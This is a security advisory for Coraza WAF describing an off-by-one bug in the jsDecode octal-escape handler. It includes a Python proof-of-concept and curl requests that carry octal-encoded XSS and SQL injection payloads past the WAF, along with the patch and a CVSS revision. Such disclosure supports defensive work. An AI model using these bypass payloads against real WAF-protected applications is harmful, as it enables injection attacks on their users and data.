Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass

Summary

The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on jsDecode for normalization are enabled.

Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (\ooo) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.

Details

Vulnerable code: internal/transformations/js_decode.go:64-70.

case (i+1 < inputLen) && isodigit(input[i+1]):
    /* \OOO (only one byte, \000 - \377) */
    buf := make([]byte, 3)
    j := 0

    for (i+1+j < inputLen) && (j < 3) {
        buf[j] = input[i+j]     // this should be `input[i+1+j]`
        j++
        if !isodigit(input[i+j]) {
            break
        }
    }

This is because, when entering octal mode, the loop variable i points to the backslash character \. Before entering octal mode, the pointer does not cross the backslash (unlike in the \u and \x cases, where i+N is used as the index). Line 65 uses input[i+j], so when j=0, the backslash character itself is copied to buf[0]. The subsequent call to strconv.ParseInt(string(buf), 8, 8) will fail because \ is not a valid octal digit; it therefore returns 0 and raises an error (which is silently suppressed by _), resulting in the loss of the bytes that were supposed to be decoded.

For example, Input \163. The loop starts with j=0: buf[0] = input[i+0] = ‘\’ (the backslash itself). The counter j is incremented to 1. Since isodigit(input[i+1]) = isodigit(‘1’) is true, the loop continues. When j=1: buf[1] = input[i+1] = ‘1’. The counter increments to 2; isodigit(input[i+2]) = isodigit(‘6’) is true. At this point, j = 2: buf[2] = input[i+2] = ‘6’. The counter increments to 3, at which point the loop condition j < 3 is no longer satisfied. Final buffer: buf = [‘\’, ‘1’, ‘6’]. The buffer is truncated when j = 2 (because buf[0] = ‘\’ > ‘3’), leaving [‘\’, ‘1’].

This error affects all octal escape sequences (from \000 to \377). Each sequence is decoded and displayed as 0x00 instead of the expected value. For example: \377 is normally decoded as \xff or 255

// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8)  // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8)   // nn = 255 = 0xFF

PoC

Test Environment

Coraza WAF v3.7.0 is configured to 127.0.0.1:8090, SecRuleEngine is set to On, SecRequestBodyAccess is set to On, and the complete OWASP CRS rule set has been loaded.

PoC Executable Script

#!/usr/bin/env python3
import urllib.request, sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"

normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"

print(f"[Normal XSS: {normal_url}")
try:
    urllib.request.urlopen(normal_url)
    print("  Response: 200 ")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
    urllib.request.urlopen(octal_url)
    print("  Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

output:

  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
  Response: 403
 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
  Response: 200 (BYPASS)

Proof

• Normal Test

 curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E"
< HTTP/1.1 403 Forbidden
< Date: Wed, 01 Jul 2026 16:09:04 GMT

• Bypass Test

 curl -v -s "http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"
< HTTP/1.1 200 OK
< Date: Wed, 01 Jul 2026 16:09:04 GMT
< Content-Length: 39
< Hello world, transaction not disrupted.

• Log Proof

2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id="<txid>" is_interrupted=false

Impact

Attackers can bypass WAFs that rely on the t:jsDecode transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.

Real-world attack scenarios:

SQL injection bypass. A rule using t:jsDecode received \47\117\122\40\61\75\61 (i.e., ' OR 1=1). This octal string decodes to \0..., so the rule did not match the SQL injection pattern.

Affected Versions

Coraza WAF v3.0.0 - v3.7.0

Resolution

Fixed in internal/transformations/js_decode.go's \OOO octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed:

1. The reported off-by-one (buf[j] = input[i+j] → buf[j] = input[i+1+j], with the digit-continuation check updated to input[i+1+j] accordingly): confirmed and fixed exactly as described above.
2. A related high-byte clamping bug in the same branch: the decoded value was parsed with strconv.ParseInt(string(buf), 8, 8) — a signed 8-bit parse. Octal values \200-\377 (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to 0x7f instead of their real value. Fixed by parsing as unsigned (strconv.ParseUint(string(buf), 8, 8)), so the full \000-\377 range decodes correctly.
3. A related overflow-saturation bug in the sibling escapeSeqDecode transformation (internal/transformations/escape_seq_decode.go), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike jsDecode, escapeSeqDecode's indexing was already correct, but it parsed octal values with strconv.ParseUint(input[i+1:i+j], 8, 8) — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (\0-\777, i.e. up to decimal 511), any value above \377 (255) overflows 8 bits, causing strconv.ParseUint to return an error and a saturated value of 0xFF for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's strtol(...) & 0xFF reference behavior). Fixed by widening the parse to 16 bits (strconv.ParseUint(input[i+1:i+j], 8, 16)) before truncating to a byte, so \400-\777 now wrap to their correct low-byte value instead of all saturating to 0xFF.

Verified end-to-end: both PoC payloads from this report now decode correctly — <\163\143\162\151\160\164> → <script>, and \47\117\122\40\61\75\61 → 'OR 1=1 — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.

Extensive regression tests were added covering the full octal range (including the \200-\377 high-byte range and the \400-\777 overflow range for escapeSeqDecode), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.

Mitigation

Upgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is:

for (i+1+j < inputLen) && (j < 3) {
    buf[j] = input[i+1+j]
    j++
    if i+1+j >= inputLen || !isodigit(input[i+1+j]) {
        break
    }
}
...
nn, _ := strconv.ParseUint(string(buf), 8, 8)

Severity (revised 2026-10-02)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N (5.8, Medium).

Attack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour jsDecode emulates, so the request alone triggers the discrepancy. The previous vector (S:U/C:L/I:L, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.

Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.

AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the S:C/I:L impact convention and directed this update.